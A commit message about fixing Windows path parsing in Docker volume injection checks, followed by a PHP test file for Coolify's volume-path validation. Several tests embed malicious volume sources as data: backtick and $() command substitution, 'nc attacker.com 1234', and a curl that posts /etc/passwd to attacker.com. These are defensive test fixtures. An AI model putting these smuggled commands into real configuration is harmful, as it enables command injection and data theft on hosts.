Problem:
- validateVolumeStringForInjection used explode(':') to parse volume strings
- This incorrectly splits Windows paths like "C:\host\path:/container" at the drive letter colon
- Could lead to false positives/negatives in injection detection
Solution:
- Replace custom parsing in validateVolumeStringForInjection with call to parseDockerVolumeString
- parseDockerVolumeString already handles Windows paths, environment variables, and performs validation
- Eliminates code duplication and uses single source of truth for volume string parsing
Tests:
- All 77 existing security tests pass (211 assertions)
- Added 6 new Windows path tests (8 assertions)
- Fixed pre-existing test bug: preg_match returns int 1, not boolean true
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
247 lines
6.9 KiB
PHP
247 lines
6.9 KiB
PHP
<?php
|
|
|
|
use Symfony\Component\Yaml\Yaml;
|
|
|
|
test('demonstrates array-format volumes from YAML parsing', function () {
|
|
// This is how Docker Compose long syntax looks in YAML
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx
|
|
volumes:
|
|
- type: bind
|
|
source: ./data
|
|
target: /app/data
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$volumes = $parsed['services']['web']['volumes'];
|
|
|
|
// Verify this creates an array format
|
|
expect($volumes[0])->toBeArray();
|
|
expect($volumes[0])->toHaveKey('type');
|
|
expect($volumes[0])->toHaveKey('source');
|
|
expect($volumes[0])->toHaveKey('target');
|
|
});
|
|
|
|
test('malicious array-format volume with backtick injection', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
evil:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/pwn`curl attacker.com`'
|
|
target: /app
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$volumes = $parsed['services']['evil']['volumes'];
|
|
|
|
// The malicious volume is now an array
|
|
expect($volumes[0])->toBeArray();
|
|
expect($volumes[0]['source'])->toContain('`');
|
|
|
|
// When applicationParser or serviceParser processes this,
|
|
// it should throw an exception due to our validation
|
|
$source = $volumes[0]['source'];
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class, 'backtick');
|
|
});
|
|
|
|
test('malicious array-format volume with command substitution', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
evil:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/pwn$(cat /etc/passwd)'
|
|
target: /app
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['evil']['volumes'][0]['source'];
|
|
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class, 'command substitution');
|
|
});
|
|
|
|
test('malicious array-format volume with pipe injection', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
evil:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/file | nc attacker.com 1234'
|
|
target: /app
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['evil']['volumes'][0]['source'];
|
|
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class, 'pipe');
|
|
});
|
|
|
|
test('malicious array-format volume with semicolon injection', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
evil:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/file; curl attacker.com'
|
|
target: /app
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['evil']['volumes'][0]['source'];
|
|
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class, 'separator');
|
|
});
|
|
|
|
test('exact example from security report in array format', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
coolify:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`'
|
|
target: /app
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['coolify']['volumes'][0]['source'];
|
|
|
|
// This should be caught by validation
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('legitimate array-format volumes are allowed', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx
|
|
volumes:
|
|
- type: bind
|
|
source: ./data
|
|
target: /app/data
|
|
- type: bind
|
|
source: /var/lib/data
|
|
target: /data
|
|
- type: volume
|
|
source: my-volume
|
|
target: /app/volume
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$volumes = $parsed['services']['web']['volumes'];
|
|
|
|
// All these legitimate volumes should pass validation
|
|
foreach ($volumes as $volume) {
|
|
$source = $volume['source'];
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->not->toThrow(Exception::class);
|
|
}
|
|
});
|
|
|
|
test('array-format with environment variables', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx
|
|
volumes:
|
|
- type: bind
|
|
source: ${DATA_PATH}
|
|
target: /app/data
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['web']['volumes'][0]['source'];
|
|
|
|
// Simple environment variables should be allowed
|
|
expect($source)->toBe('${DATA_PATH}');
|
|
// Our validation allows simple env var references
|
|
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
|
|
expect($isSimpleEnvVar)->toBe(1); // preg_match returns 1 on success, not true
|
|
});
|
|
|
|
test('array-format with malicious environment variable default', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
evil:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: '${VAR:-/tmp/evil`whoami`}'
|
|
target: /app
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['evil']['volumes'][0]['source'];
|
|
|
|
// This contains backticks and should fail validation
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('mixed string and array format volumes in same compose', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx
|
|
volumes:
|
|
- './safe/data:/app/data'
|
|
- type: bind
|
|
source: ./another/safe/path
|
|
target: /app/other
|
|
- '/tmp/evil`whoami`:/app/evil'
|
|
- type: bind
|
|
source: '/tmp/evil$(id)'
|
|
target: /app/evil2
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$volumes = $parsed['services']['web']['volumes'];
|
|
|
|
// String format malicious volume (index 2)
|
|
expect(fn () => parseDockerVolumeString($volumes[2]))
|
|
->toThrow(Exception::class);
|
|
|
|
// Array format malicious volume (index 3)
|
|
$source = $volumes[3]['source'];
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class);
|
|
|
|
// Legitimate volumes should work (indexes 0 and 1)
|
|
expect(fn () => parseDockerVolumeString($volumes[0]))
|
|
->not->toThrow(Exception::class);
|
|
|
|
$safeSource = $volumes[1]['source'];
|
|
expect(fn () => validateShellSafePath($safeSource, 'volume source'))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('array-format target path injection is also blocked', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
evil:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: ./data
|
|
target: '/app`whoami`'
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$target = $parsed['services']['evil']['volumes'][0]['target'];
|
|
|
|
// Target paths should also be validated
|
|
expect(fn () => validateShellSafePath($target, 'volume target'))
|
|
->toThrow(Exception::class, 'backtick');
|
|
});
|